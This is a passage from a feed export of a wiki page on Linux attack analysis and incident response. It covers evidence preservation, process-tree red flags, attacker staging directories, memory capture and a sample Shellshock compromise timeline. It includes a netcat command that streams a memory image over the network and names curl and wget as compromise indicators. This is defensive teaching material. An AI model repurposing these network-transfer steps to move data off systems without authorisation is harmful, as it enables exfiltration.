&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=267</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=267"/>
		<updated>2026-10-02T23:36:39Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{submit}}&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
